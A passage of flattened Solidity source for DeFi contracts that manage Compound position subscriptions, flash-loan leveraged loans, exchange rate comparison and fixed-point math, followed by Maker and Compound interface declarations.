MonitorChangeCanceled(); } /// @notice Anyone is able to confirm new monitor after CHANGE_PERIOD if process is started function confirmNewMonitor() public onlyAllowed { require((changeRequestedTimestamp + CHANGE_PERIOD) < now); require(changeRequestedTimestamp != 0); require(newMonitor != address(0)); monitor = newMonitor; newMonitor = address(0); changeRequestedTimestamp = 0; emit MonitorChangeFinished(monitor); } /// @notice Its possible to revert monitor to last used monitor function revertMonitor() public onlyAllowed { require(lastMonitor != address(0)); monitor = lastMonitor; emit MonitorChangeReverted(monitor); } /// @notice Allowed users are able to add new allowed user /// @param _user Address of user that will be allowed function addAllowed(address _user) public onlyAllowed { allowed[_user] = true; } /// @notice Allowed users are able to remove allowed user /// @dev owner is always allowed even if someone tries to remove it from allowed mapping /// @param _user Address of allowed user function removeAllowed(address _user) public onlyAllowed { allowed[_user] = false; } function setChangePeriod(uint _periodInDays) public onlyAllowed { require(_periodInDays * 1 days > CHANGE_PERIOD); CHANGE_PERIOD = _periodInDays * 1 days; } /// @notice In case something is left in contract, owner is able to withdraw it /// @param _token address of token to withdraw balance function withdrawToken(address _token) public onlyOwner { uint balance = ERC20(_token).balanceOf(address(this)); ERC20(_token).safeTransfer(msg.sender, balance); } /// @notice In case something is left in contract, owner is able to withdraw it function withdrawEth() public onlyOwner { uint balance = address(this).balance; msg.sender.transfer(balance); } } contract CompoundSubscriptions is AdminAuth { struct CompoundHolder { address user; uint128 minRatio; uint128 maxRatio; uint128 optimalRatioBoost; uint128 optimalRatioRepay; bool boostEnabled; } struct SubPosition { uint arrPos; bool subscribed; } CompoundHolder[] public subscribers; mapping (address => SubPosition) public subscribersPos; uint public changeIndex; event Subscribed(address indexed user); event Unsubscribed(address indexed user); event Updated(address indexed user); event ParamUpdates(address indexed user, uint128, uint128, uint128, uint128, bool); /// @dev Called by the DSProxy contract which owns the Compound position /// @notice Adds the users Compound poistion in the list of subscriptions so it can be monitored /// @param _minRatio Minimum ratio below which repay is triggered /// @param _maxRatio Maximum ratio after which boost is triggered /// @param _optimalBoost Ratio amount which boost should target /// @param _optimalRepay Ratio amount which repay should target /// @param _boostEnabled Boolean determing if boost is enabled function subscribe(uint128 _minRatio, uint128 _maxRatio, uint128 _optimalBoost, uint128 _optimalRepay, bool _boostEnabled) external { // if boost is not enabled, set max ratio to max uint uint128 localMaxRatio = _boostEnabled ? _maxRatio : uint128(-1); require(checkParams(_minRatio, localMaxRatio), "Must be correct params"); SubPosition storage subInfo = subscribersPos[msg.sender]; CompoundHolder memory subscription = CompoundHolder({ minRatio: _minRatio, maxRatio: localMaxRatio, optimalRatioBoost: _optimalBoost, optimalRatioRepay: _optimalRepay, user: msg.sender, boostEnabled: _boostEnabled }); changeIndex++; if (subInfo.subscribed) { subscribers[subInfo.arrPos] = subscription; emit Updated(msg.sender); emit ParamUpdates(msg.sender, _minRatio, localMaxRatio, _optimalBoost, _optimalRepay, _boostEnabled); } else { subscribers.push(subscription); subInfo.arrPos = subscribers.length - 1; subInfo.subscribed = true; emit Subscribed(msg.sender); } } /// @notice Called by the users DSProxy /// @dev Owner who subscribed cancels his subscription function unsubscribe() external { _unsubscribe(msg.sender); } /// @dev Checks limit if minRatio is bigger than max /// @param _minRatio Minimum ratio, bellow which repay can be triggered /// @param _maxRatio Maximum ratio, over which boost can be triggered /// @return Returns bool if the params are correct function checkParams(uint128 _minRatio, uint128 _maxRatio) internal pure returns (bool) { if (_minRatio > _maxRatio) { return false; } return true; } /// @dev Internal method to remove a subscriber from the list /// @param _user The actual address that owns the Compound position function _unsubscribe(address _user) internal { require(subscribers.length > 0, "Must have subscribers in the list"); SubPosition storage subInfo = subscribersPos[_user]; require(subInfo.subscribed, "Must first be subscribed"); address lastOwner = subscribers[subscribers.length - 1].user; SubPosition storage subInfo2 = subscribersPos[lastOwner]; subInfo2.arrPos = subInfo.arrPos; subscribers[subInfo.arrPos] = subscribers[subscribers.length - 1]; subscribers.pop(); // remove last element and reduce arr length changeIndex++; subInfo.subscribed = false; subInfo.arrPos = 0; emit Unsubscribed(msg.sender); } /// @dev Checks if the user is subscribed /// @param _user The actual address that owns the Compound position /// @return If the user is subscribed function isSubscribed(address _user) public view returns (bool) { SubPosition storage subInfo = subscribersPos[_user]; return subInfo.subscribed; } /// @dev Returns subscribtion information about a user /// @param _user The actual address that owns the Compound position /// @return Subscription information about the user if exists function getHolder(address _user) public view returns (CompoundHolder memory) { SubPosition storage subInfo = subscribersPos[_user]; return subscribers[subInfo.arrPos]; } /// @notice Helper method to return all the subscribed CDPs /// @return List of all subscribers function getSubscribers() public view returns (CompoundHolder[] memory) { return subscribers; } /// @notice Helper method for the frontend, returns all the subscribed CDPs paginated /// @param _page What page of subscribers you want /// @param _perPage Number of entries per page /// @return List of all subscribers for that page function getSubscribersByPage(uint _page, uint _perPage) public view returns (CompoundHolder[] memory) { CompoundHolder[] memory holders = new CompoundHolder[](_perPage); uint start = _page * _perPage; uint end = start + _perPage; end = (end > holders.length) ? holders.length : end; uint count = 0; for (uint i = start; i < end; i++) { holders[count] = subscribers[i]; count++; } return holders; } ////////////// ADMIN METHODS /////////////////// /// @notice Admin function to unsubscribe a CDP /// @param _user The actual address that owns the Compound position function unsubscribeByAdmin(address _user) public onlyOwner { SubPosition storage subInfo = subscribersPos[_user]; if (subInfo.subscribed) { _unsubscribe(_user); } } } contract CompoundSubscriptionsProxy is ProxyPermission { address public constant COMPOUND_SUBSCRIPTION_ADDRESS = 0x52015EFFD577E08f498a0CCc11905925D58D6207; address public constant COMPOUND_MONITOR_PROXY = 0xB1cF8DE8e791E4Ed1Bd86c03E2fc1f14389Cb10a; /// @notice Calls subscription contract and creates a DSGuard if non existent /// @param _minRatio Minimum ratio below which repay is triggered /// @param _maxRatio Maximum ratio after which boost is triggered /// @param _optimalRatioBoost Ratio amount which boost should target /// @param _optimalRatioRepay Ratio amount which repay should target /// @param _boostEnabled Boolean determing if boost is enabled function subscribe( uint128 _minRatio, uint128 _maxRatio, uint128 _optimalRatioBoost, uint128 _optimalRatioRepay, bool _boostEnabled ) public { givePermission(COMPOUND_MONITOR_PROXY); ICompoundSubscription(COMPOUND_SUBSCRIPTION_ADDRESS).subscribe( _minRatio, _maxRatio, _optimalRatioBoost, _optimalRatioRepay, _boostEnabled); } /// @notice Calls subscription contract and updated existing parameters /// @dev If subscription is non existent this will create one /// @param _minRatio Minimum ratio below which repay is triggered /// @param _maxRatio Maximum ratio after which boost is triggered /// @param _optimalRatioBoost Ratio amount which boost should target /// @param _optimalRatioRepay Ratio amount which repay should target /// @param _boostEnabled Boolean determing if boost is enabled function update( uint128 _minRatio, uint128 _maxRatio, uint128 _optimalRatioBoost, uint128 _optimalRatioRepay, bool _boostEnabled ) public { ICompoundSubscription(COMPOUND_SUBSCRIPTION_ADDRESS).subscribe(_minRatio, _maxRatio, _optimalRatioBoost, _optimalRatioRepay, _boostEnabled); } /// @notice Calls the subscription contract to unsubscribe the caller function unsubscribe() public { removePermission(COMPOUND_MONITOR_PROXY); ICompoundSubscription(COMPOUND_SUBSCRIPTION_ADDRESS).unsubscribe(); } } contract CompoundCreateTaker is ProxyPermission { using SafeERC20 for ERC20; address public constant ETH_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; ILendingPool public constant lendingPool = ILendingPool(0x398eC7346DcD622eDc5ae82352F02bE94C62d119); // solhint-disable-next-line const-name-snakecase DefisaverLogger public constant logger = DefisaverLogger(0x5c55B921f590a89C1Ebe84dF170E655a82b62126); struct CreateInfo { address cCollAddress; address cBorrowAddress; uint depositAmount; } /// @notice Main function which will take a FL and open a leverage position /// @dev Call through DSProxy, if _exchangeData.destAddr is a token approve DSProxy /// @param _createInfo [cCollAddress, cBorrowAddress, depositAmount] /// @param _exchangeData Exchange data struct function openLeveragedLoan( CreateInfo memory _createInfo, SaverExchangeCore.ExchangeData memory _exchangeData, address payable _compReceiver ) public payable { uint loanAmount = _exchangeData.srcAmount; // Pull tokens from user if (_exchangeData.destAddr != ETH_ADDRESS) { ERC20(_exchangeData.destAddr).safeTransferFrom(msg.sender, address(this), _createInfo.depositAmount); } else { require(msg.value >= _createInfo.depositAmount, "Must send correct amount of eth"); } // Send tokens to FL receiver sendDeposit(_compReceiver, _exchangeData.destAddr); // Pack the struct data (uint[4] memory numData, address[6] memory cAddresses, bytes memory callData) = _packData(_createInfo, _exchangeData); bytes memory paramsData = abi.encode(numData, cAddresses, callData, address(this)); givePermission(_compReceiver); lendingPool.flashLoan(_compReceiver, _exchangeData.srcAddr, loanAmount, paramsData); removePermission(_compReceiver); logger.Log(address(this), msg.sender, "CompoundLeveragedLoan", abi.encode(_exchangeData.srcAddr, _exchangeData.destAddr, _exchangeData.srcAmount, _exchangeData.destAmount)); } function sendDeposit(address payable _compoundReceiver, address _token) internal { if (_token != ETH_ADDRESS) { ERC20(_token).safeTransfer(_compoundReceiver, ERC20(_token).balanceOf(address(this))); } _compoundReceiver.transfer(address(this).balance); } function _packData( CreateInfo memory _createInfo, SaverExchangeCore.ExchangeData memory exchangeData ) internal pure returns (uint[4] memory numData, address[6] memory cAddresses, bytes memory callData) { numData = [ exchangeData.srcAmount, exchangeData.destAmount, exchangeData.minPrice, exchangeData.price0x ]; cAddresses = [ _createInfo.cCollAddress, _createInfo.cBorrowAddress, exchangeData.srcAddr, exchangeData.destAddr, exchangeData.exchangeAddr, exchangeData.wrapper ]; callData = exchangeData.callData; } } contract CarefulMath { /** * @dev Possible error codes that we can return */ enum MathError { NO_ERROR, DIVISION_BY_ZERO, INTEGER_OVERFLOW, INTEGER_UNDERFLOW } /** * @dev Multiplies two numbers, returns an error on overflow. */ function mulUInt(uint a, uint b) internal pure returns (MathError, uint) { if (a == 0) { return (MathError.NO_ERROR, 0); } uint c = a * b; if (c / a != b) { return (MathError.INTEGER_OVERFLOW, 0); } else { return (MathError.NO_ERROR, c); } } /** * @dev Integer division of two numbers, truncating the quotient. */ function divUInt(uint a, uint b) internal pure returns (MathError, uint) { if (b == 0) { return (MathError.DIVISION_BY_ZERO, 0); } return (MathError.NO_ERROR, a / b); } /** * @dev Subtracts two numbers, returns an error on overflow (i.e. if subtrahend is greater than minuend). */ function subUInt(uint a, uint b) internal pure returns (MathError, uint) { if (b <= a) { return (MathError.NO_ERROR, a - b); } else { return (MathError.INTEGER_UNDERFLOW, 0); } } /** * @dev Adds two numbers, returns an error on overflow. */ function addUInt(uint a, uint b) internal pure returns (MathError, uint) { uint c = a + b; if (c >= a) { return (MathError.NO_ERROR, c); } else { return (MathError.INTEGER_OVERFLOW, 0); } } /** * @dev add a and b and then subtract c */ function addThenSubUInt(uint a, uint b, uint c) internal pure returns (MathError, uint) { (MathError err0, uint sum) = addUInt(a, b); if (err0 != MathError.NO_ERROR) { return (err0, 0); } return subUInt(sum, c); } } contract Exponential is CarefulMath { uint constant expScale = 1e18; uint constant halfExpScale = expScale/2; uint constant mantissaOne = expScale; struct Exp { uint mantissa; } /** * @dev Creates an exponential from numerator and denominator values. * Note: Returns an error if (`num` * 10e18) > MAX_INT, * or if `denom` is zero. */ function getExp(uint num, uint denom) pure internal returns (MathError, Exp memory) { (MathError err0, uint scaledNumerator) = mulUInt(num, expScale); if (err0 != MathError.NO_ERROR) { return (err0, Exp({mantissa: 0})); } (MathError err1, uint rational) = divUInt(scaledNumerator, denom); if (err1 != MathError.NO_ERROR) { return (err1, Exp({mantissa: 0})); } return (MathError.NO_ERROR, Exp({mantissa: rational})); } /** * @dev Adds two exponentials, returning a new exponential. */ function addExp(Exp memory a, Exp memory b) pure internal returns (MathError, Exp memory) { (MathError error, uint result) = addUInt(a.mantissa, b.mantissa); return (error, Exp({mantissa: result})); } /** * @dev Subtracts two exponentials, returning a new exponential. */ function subExp(Exp memory a, Exp memory b) pure internal returns (MathError, Exp memory) { (MathError error, uint result) = subUInt(a.mantissa, b.mantissa); return (error, Exp({mantissa: result})); } /** * @dev Multiply an Exp by a scalar, returning a new Exp. */ function mulScalar(Exp memory a, uint scalar) pure internal returns (MathError, Exp memory) { (MathError err0, uint scaledMantissa) = mulUInt(a.mantissa, scalar); if (err0 != MathError.NO_ERROR) { return (err0, Exp({mantissa: 0})); } return (MathError.NO_ERROR, Exp({mantissa: scaledMantissa})); } /** * @dev Multiply an Exp by a scalar, then truncate to return an unsigned integer. */ function mulScalarTruncate(Exp memory a, uint scalar) pure internal returns (MathError, uint) { (MathError err, Exp memory product) = mulScalar(a, scalar); if (err != MathError.NO_ERROR) { return (err, 0); } return (MathError.NO_ERROR, truncate(product)); } /** * @dev Multiply an Exp by a scalar, truncate, then add an to an unsigned integer, returning an unsigned integer. */ function mulScalarTruncateAddUInt(Exp memory a, uint scalar, uint addend) pure internal returns (MathError, uint) { (MathError err, Exp memory product) = mulScalar(a, scalar); if (err != MathError.NO_ERROR) { return (err, 0); } return addUInt(truncate(product), addend); } /** * @dev Divide an Exp by a scalar, returning a new Exp. */ function divScalar(Exp memory a, uint scalar) pure internal returns (MathError, Exp memory) { (MathError err0, uint descaledMantissa) = divUInt(a.mantissa, scalar); if (err0 != MathError.NO_ERROR) { return (err0, Exp({mantissa: 0})); } return (MathError.NO_ERROR, Exp({mantissa: descaledMantissa})); } /** * @dev Divide a scalar by an Exp, returning a new Exp. */ function divScalarByExp(uint scalar, Exp memory divisor) pure internal returns (MathError, Exp memory) { /* We are doing this as: getExp(mulUInt(expScale, scalar), divisor.mantissa) How it works: Exp = a / b; Scalar = s; `s / (a / b)` = `b * s / a` and since for an Exp `a = mantissa, b = expScale` */ (MathError err0, uint numerator) = mulUInt(expScale, scalar); if (err0 != MathError.NO_ERROR) { return (err0, Exp({mantissa: 0})); } return getExp(numerator, divisor.mantissa); } /** * @dev Divide a scalar by an Exp, then truncate to return an unsigned integer. */ function divScalarByExpTruncate(uint scalar, Exp memory divisor) pure internal returns (MathError, uint) { (MathError err, Exp memory fraction) = divScalarByExp(scalar, divisor); if (err != MathError.NO_ERROR) { return (err, 0); } return (MathError.NO_ERROR, truncate(fraction)); } /** * @dev Multiplies two exponentials, returning a new exponential. */ function mulExp(Exp memory a, Exp memory b) pure internal returns (MathError, Exp memory) { (MathError err0, uint doubleScaledProduct) = mulUInt(a.mantissa, b.mantissa); if (err0 != MathError.NO_ERROR) { return (err0, Exp({mantissa: 0})); } // We add half the scale before dividing so that we get rounding instead of truncation. // See "Listing 6" and text above it at https://accu.org/index.php/journals/1717 // Without this change, a result like 6.6...e-19 will be truncated to 0 instead of being rounded to 1e-18. (MathError err1, uint doubleScaledProductWithHalfScale) = addUInt(halfExpScale, doubleScaledProduct); if (err1 != MathError.NO_ERROR) { return (err1, Exp({mantissa: 0})); } (MathError err2, uint product) = divUInt(doubleScaledProductWithHalfScale, expScale); // The only error `div` can return is MathError.DIVISION_BY_ZERO but we control `expScale` and it is not zero. assert(err2 == MathError.NO_ERROR); return (MathError.NO_ERROR, Exp({mantissa: product})); } /** * @dev Multiplies two exponentials given their mantissas, returning a new exponential. */ function mulExp(uint a, uint b) pure internal returns (MathError, Exp memory) { return mulExp(Exp({mantissa: a}), Exp({mantissa: b})); } /** * @dev Multiplies three exponentials, returning a new exponential. */ function mulExp3(Exp memory a, Exp memory b, Exp memory c) pure internal returns (MathError, Exp memory) { (MathError err, Exp memory ab) = mulExp(a, b); if (err != MathError.NO_ERROR) { return (err, ab); } return mulExp(ab, c); } /** * @dev Divides two exponentials, returning a new exponential. * (a/scale) / (b/scale) = (a/scale) * (scale/b) = a/b, * which we can scale as an Exp by calling getExp(a.mantissa, b.mantissa) */ function divExp(Exp memory a, Exp memory b) pure internal returns (MathError, Exp memory) { return getExp(a.mantissa, b.mantissa); } /** * @dev Truncates the given exp to a whole number value. * For example, truncate(Exp{mantissa: 15 * expScale}) = 15 */ function truncate(Exp memory exp) pure internal returns (uint) { // Note: We are not using careful math here as we're performing a division that cannot fail return exp.mantissa / expScale; } /** * @dev Checks if first Exp is less than second Exp. */ function lessThanExp(Exp memory left, Exp memory right) pure internal returns (bool) { return left.mantissa < right.mantissa; } /** * @dev Checks if left Exp <= right Exp. */ function lessThanOrEqualExp(Exp memory left, Exp memory right) pure internal returns (bool) { return left.mantissa <= right.mantissa; } /** * @dev Checks if left Exp > right Exp. */ function greaterThanExp(Exp memory left, Exp memory right) pure internal returns (bool) { return left.mantissa > right.mantissa; } /** * @dev returns true if Exp is exactly zero */ function isZeroExp(Exp memory value) pure internal returns (bool) { return value.mantissa == 0; } } contract CompoundBorrowProxy { using SafeERC20 for ERC20; address public constant ETH_ADDR = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; address public constant COMPTROLLER_ADDR = 0x3d9819210A31b4961b30EF54bE2aeD79B9c9Cd3B; function borrow(address _cCollToken, address _cBorrowToken, address _borrowToken, uint _amount) public { address[] memory markets = new address[](2); markets[0] = _cCollToken; markets[1] = _cBorrowToken; ComptrollerInterface(COMPTROLLER_ADDR).enterMarkets(markets); require(CTokenInterface(_cBorrowToken).borrow(_amount) == 0); // withdraw funds to msg.sender if (_borrowToken != ETH_ADDR) { ERC20(_borrowToken).safeTransfer(msg.sender, ERC20(_borrowToken).balanceOf(address(this))); } else { msg.sender.transfer(address(this).balance); } } } contract AllowanceProxy is AdminAuth { using SafeERC20 for ERC20; address public constant KYBER_ETH_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; // TODO: Real saver exchange address SaverExchange saverExchange = SaverExchange(0x235abFAd01eb1BDa28Ef94087FBAA63E18074926); function callSell(SaverExchangeCore.ExchangeData memory exData) public payable { pullAndSendTokens(exData.srcAddr, exData.srcAmount); saverExchange.sell{value: msg.value}(exData, msg.sender); } function callBuy(SaverExchangeCore.ExchangeData memory exData) public payable { pullAndSendTokens(exData.srcAddr, exData.srcAmount); saverExchange.buy{value: msg.value}(exData, msg.sender); } function pullAndSendTokens(address _tokenAddr, uint _amount) internal { if (_tokenAddr == KYBER_ETH_ADDRESS) { require(msg.value >= _amount, "msg.value smaller than amount"); } else { ERC20(_tokenAddr).safeTransferFrom(msg.sender, address(saverExchange), _amount); } } function ownerChangeExchange(address payable _newExchange) public onlyOwner { saverExchange = SaverExchange(_newExchange); } } contract Prices is DSMath { address public constant KYBER_ETH_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; enum ActionType { SELL, BUY } /// @notice Returns the best estimated price from 2 exchanges /// @param _amount Amount of source tokens you want to exchange /// @param _srcToken Address of the source token /// @param _destToken Address of the destination token /// @param _type Type of action SELL|BUY /// @param _wrappers Array of wrapper addresses to compare /// @return (address, uint) The address of the best exchange and the exchange price function getBestPrice( uint256 _amount, address _srcToken, address _destToken, ActionType _type, address[] memory _wrappers ) public returns (address, uint256) { uint256[] memory rates = new uint256[](_wrappers.length); for (uint i=0; i<_wrappers.length; i++) { rates[i] = getExpectedRate(_wrappers[i], _srcToken, _destToken, _amount, _type); } if (_type == ActionType.SELL) { return getBiggestRate(_wrappers, rates); } else { return getSmallestRate(_wrappers, rates); } } /// @notice Return the expected rate from the exchange wrapper /// @dev In case of Oasis/Uniswap handles the different precision tokens /// @param _wrapper Address of exchange wrapper /// @param _srcToken From token /// @param _destToken To token /// @param _amount Amount to be exchanged /// @param _type Type of action SELL|BUY function getExpectedRate( address _wrapper, address _srcToken, address _destToken, uint256 _amount, ActionType _type ) public returns (uint256) { bool success; bytes memory result; if (_type == ActionType.SELL) { (success, result) = _wrapper.call(abi.encodeWithSignature( "getSellRate(address,address,uint256)", _srcToken, _destToken, _amount )); } else { (success, result) = _wrapper.call(abi.encodeWithSignature( "getBuyRate(address,address,uint256)", _srcToken, _destToken, _amount )); } if (success) { return sliceUint(result, 0); } return 0; } /// @notice Finds the biggest rate between exchanges, needed for sell rate /// @param _wrappers Array of wrappers to compare /// @param _rates Array of rates to compare function getBiggestRate( address[] memory _wrappers, uint256[] memory _rates ) internal pure returns (address, uint) { uint256 maxIndex = 0; // starting from 0 in case there is only one rate in array for (uint256 i=0; i<_rates.length; i++) { if (_rates[i] > _rates[maxIndex]) { maxIndex = i; } } return (_wrappers[maxIndex], _rates[maxIndex]); } /// @notice Finds the smallest rate between exchanges, needed for buy rate /// @param _wrappers Array of wrappers to compare /// @param _rates Array of rates to compare function getSmallestRate( address[] memory _wrappers, uint256[] memory _rates ) internal pure returns (address, uint) { uint256 minIndex = 0; // starting from 0 in case there is only one rate in array for (uint256 i=0; i<_rates.length; i++) { if (_rates[i] < _rates[minIndex]) { minIndex = i; } } return (_wrappers[minIndex], _rates[minIndex]); } function getDecimals(address _token) internal view returns (uint256) { if (_token == KYBER_ETH_ADDRESS) return 18; return ERC20(_token).decimals(); } function sliceUint(bytes memory bs, uint256 start) internal pure returns (uint256) { require(bs.length >= start + 32, "slicing out of range"); uint256 x; assembly { x := mload(add(bs, add(0x20, start))) } return x; } } contract SaverExchangeHelper { using SafeERC20 for ERC20; address public constant KYBER_ETH_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; address public constant WETH_ADDRESS = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; address payable public constant WALLET_ID = 0x322d58b9E75a6918f7e7849AEe0fF09369977e08; address public constant DISCOUNT_ADDRESS = 0x1b14E8D511c9A4395425314f849bD737BAF8208F; address public constant SAVER_EXCHANGE_REGISTRY = 0x25dd3F51e0C3c3Ff164DDC02A8E4D65Bb9cBB12D; address public constant ERC20_PROXY_0X = 0x95E6F48254609A6ee006F7D493c8e5fB97094ceF; address public constant ZRX_ALLOWLIST_ADDR = 0x019739e288973F92bDD3c1d87178E206E51fd911; function getDecimals(address _token) internal view returns (uint256) { if (_token == KYBER_ETH_ADDRESS) return 18; return ERC20(_token).decimals(); } function getBalance(address _tokenAddr) internal view returns (uint balance) { if (_tokenAddr == KYBER_ETH_ADDRESS) { balance = address(this).balance; } else { balance = ERC20(_tokenAddr).balanceOf(address(this)); } } function approve0xProxy(address _tokenAddr, uint _amount) internal { if (_tokenAddr != KYBER_ETH_ADDRESS) { ERC20(_tokenAddr).safeApprove(address(ERC20_PROXY_0X), _amount); } } function sendLeftover(address _srcAddr, address _destAddr, address payable _to) internal { // send back any leftover ether or tokens if (address(this).balance > 0) { _to.transfer(address(this).balance); } if (getBalance(_srcAddr) > 0) { ERC20(_srcAddr).safeTransfer(_to, getBalance(_srcAddr)); } if (getBalance(_destAddr) > 0) { ERC20(_destAddr).safeTransfer(_to, getBalance(_destAddr)); } } function sliceUint(bytes memory bs, uint256 start) internal pure returns (uint256) { require(bs.length >= start + 32, "slicing out of range"); uint256 x; assembly { x := mload(add(bs, add(0x20, start))) } return x; } } contract SaverExchangeRegistry is AdminAuth { mapping(address => bool) private wrappers; constructor() public { wrappers[0x880A845A85F843a5c67DB2061623c6Fc3bB4c511] = true; wrappers[0x4c9B55f2083629A1F7aDa257ae984E03096eCD25] = true; wrappers[0x42A9237b872368E1bec4Ca8D26A928D7d39d338C] = true; } function addWrapper(address _wrapper) public onlyOwner { wrappers[_wrapper] = true; } function removeWrapper(address _wrapper) public onlyOwner { wrappers[_wrapper] = false; } function isWrapper(address _wrapper) public view returns(bool) { return wrappers[_wrapper]; } } abstract contract CEtherInterface { function mint() external virtual payable; function repayBorrow() external virtual payable; } abstract contract Cat { struct Ilk { address flip; // Liquidator uint256 chop; // Liquidation Penalty [ray] uint256 lump; // Liquidation Quantity [wad] } mapping (bytes32 => Ilk) public ilks; } abstract contract CompoundOracleInterface { function getUnderlyingPrice(address cToken) external view virtual returns (uint); } abstract contract ComptrollerInterface { function enterMarkets(address[] calldata cTokens) external virtual returns (uint256[] memory); function exitMarket(address cToken) external virtual returns (uint256); function getAssetsIn(address account) external virtual view returns (address[] memory); function markets(address account) public virtual view returns (bool, uint256); function getAccountLiquidity(address account) external virtual view returns (uint256, uint256, uint256); function claimComp(address holder) virtual public; function oracle() public virtual view returns (address); } abstract contract DSProxyInterface { /// Truffle wont compile if this isn't commented // function execute(bytes memory _code, bytes memory _data) // public virtual // payable // returns (address, bytes32); function execute(address _target, bytes memory _data) public virtual payable returns (bytes32); function setCache(address _cacheAddr) public virtual payable returns (bool); function owner() public virtual returns (address); } abstract contract GemLike { function approve(address, uint) public virtual; function transfer(address, uint) public virtual; function transferFrom(address, address, uint) public virtual; function deposit() public virtual payable; function withdraw(uint) public virtual; } abstract contract ManagerLike { function cdpCan(address, uint, address) public virtual view returns (uint); function ilks(uint) public virtual view returns (bytes32); function owns(uint) public virtual view returns (address); function urns(uint) public virtual view returns (address); function vat() public virtual view returns (address); function open(bytes32) public virtual returns (uint); function give(uint, address) public virtual; function cdpAllow(uint, address, uint) public virtual; function urnAllow(address, uint) public virtual; function frob(uint, int, int) public virtual; function frob(uint, address, int, int) public virtual; function flux(uint, address, uint) public virtual; function move(uint, address, uint) public virtual; function exit(address, uint, address, uint) public virtual; function quit(uint, address) public virtual; function enter(address, uint) public virtual; function shift(uint, uint) public virtual; } abstract contract VatLike { function can(address, address) public virtual view returns (uint); function ilks(bytes32) public virtual view returns (uint, uint, uint, uint, uint); function dai(address) public virtual view returns (uint); function urns(bytes32, address) public virtual view returns (uint, uint); function frob(bytes32, address, address, address, int, int) public virtual; function hope(address) public virtual; function move(address, address, uint) public virtual; } abstract contract GemJoinLike { function dec() public virtual returns (uint); function gem() public virtual returns (GemLike); function join(address, uint) public virtual payable; function exit(address, uint) public virtual; } abstract contract GNTJoinLike { function bags(address) public virtual view returns (address); function make(address) public virtual returns (address); } abstract contract DaiJoinLike { function vat() public virtual returns (VatLike); function dai() public virtual returns (GemLike); function join(address, uint) public virtual payable; function exit(address, uint) public virtual; } abstract contract HopeLike { function hope(address) public virtual; function nope(address) public virtual; } abstract contract EndLike { function fix(bytes32) public virtual view returns (uint); function cash(bytes32, uint) public virtual; function free(bytes32) public virtual; function pack(uint) public virtual; function skim(bytes32, address) public virtual; } abstract contract JugLike { function drip(bytes32) public virtual; } abstract contract PotLike { function chi() public virtual view returns (uint); function pie(address) public virtual view returns (uint); function drip() public virtual; function join(uint) public virtual; function exit(uint) public virtual; } abstract contract ProxyRegistryLike { function proxies(address) public virtual view returns (address); function build(address) public virtual returns (address); } abstract contract ProxyLike { function owner() public virtual view returns (address); } abstract contract DssProxyActions { function daiJoin_join(address apt, address urn, uint wad) public virtual; function transfer(address gem, address dst, uint wad) public virtual; function ethJoin_join(address apt, address urn) public virtual payable; function gemJoin_join(address apt, address urn, uint wad, bool transferFrom) public virtual payable; function hope(address obj, address usr) public virtual; function nope(address obj, address usr) public virtual; function open(address manager, bytes32 ilk, address usr) public virtual returns (uint cdp); function give(address manager, uint cdp, address usr) public virtual; function giveToProxy(address proxyRegistry, address manager, uint cdp, address dst) public virtual; function cdpAllow(address manager, uint cdp, address usr, uint ok) public virtual; function urnAllow(address manager, address usr, uint ok) public virtual; function flux(address manager, uint cdp, address dst, uint wad) public virtual; function move(address manager, uint cdp, address dst, uint rad) public virtual; function frob(address manager, uint cdp, int dink, int dart) public virtual; function frob(address manager, uint cdp, address dst, int dink, int dart) public virtual; function quit(address manager, uint cdp, address dst) public virtual; function enter(address manager, address src, uint cdp) public virtual; function shift(address manager, uint cdpSrc, uint cdpOrg) public virtual; function makeGemBag(address gemJoin) public virtual returns (address bag); function lockETH(address manager, address ethJoin, uint cdp) public virtual payable; function safeLockETH(address manager, address ethJoin, uint cdp, address owner) public virtual payable; function lockGem(address manager, address gemJoin, uint cdp, uint wad, bool transferFrom) public virtual; function safeLockGem(address manager, address gemJoin, uint cdp, uint wad, bool transferFrom, address owner) public virtual; function freeETH(address manager, address ethJoin, uint cdp, uint wad) public virtual; function freeGem(address manager, address gemJoin, uint cdp, uint wad) public virtual; function draw(address manager, address jug, address daiJoin, uint cdp, uint wad) public virtual; function wipe(address manager, address daiJoin, uint cdp, uint wad) public virtual; function safeWipe(address manager, address daiJoin, uint cdp, uint wad, address owner) public virtual; function wipeAll(address manager, address daiJoin, uint cdp) public virtual; function safeWipeAll(address manager, address daiJoin, uint cdp, address owner) public virtual; function lockETHAndDraw(address manager, address jug, address ethJoin, address daiJoin, uint cdp, uint wadD) public virtual payable; function openLockETHAndDraw(address manager, address jug, address ethJoin, address daiJoin, bytes32 ilk, uint wadD) public virtual payable returns (uint cdp); function lockGemAndDraw(address manager, address jug, address gemJoin, address daiJoin, uint cdp, uint wadC, uint wadD, bool transferFrom) public virtual; function openLockGemAndDraw(address manager, address jug, address gemJoin, address daiJoin, bytes32 ilk, uint wadC, uint wadD, bool transferFrom) public virtual returns (uint cdp); function openLockGNTAndDraw(address manager, address jug, address gntJoin, address daiJoin, bytes32 ilk, uint wadC, uint wadD) public virtual returns (address bag, uint cdp); function wipeAndFreeETH(address manager, address ethJoin, address daiJoin, uint cdp, uint wadC, uint wadD) public virtual; function wipeAllAndFreeETH(address manager, address ethJoin, address daiJoin, uint cdp, uint wadC) public virtual; function wipeAndFreeGem(address manager, address gemJoin, address daiJoin, uint cdp, uint wadC, uint wadD) public virtual; function wipeAllAndFreeGem(address manager, address gemJoin, address daiJoin, uint cdp, uint wadC) public virtual; } abstract contract DaiJoin { function vat() public virtual returns (Vat); function dai() public virtual returns (Gem); function join(address, uint) public virtual payable; function exit(address, uint) public virtual; } abstract contract DssProxyActionsDsr { function join(address daiJoin, address pot, uint wad) virtual public; function exit(address daiJoin, address pot, uint wad) virtual public; function exitAll(address daiJoin, address pot) virtual public; } interface ERC20 { function totalSupply() external view returns (uint256 supply); function balanceOf(address _owner) external view returns (uint256 balance); function transfer(address _to, uint256 _value) external returns (bool success); function transferFrom(address _from, address _to, uint256 _value) external returns (bool success); function approve(address _spender, uint256 _value) external returns (bool 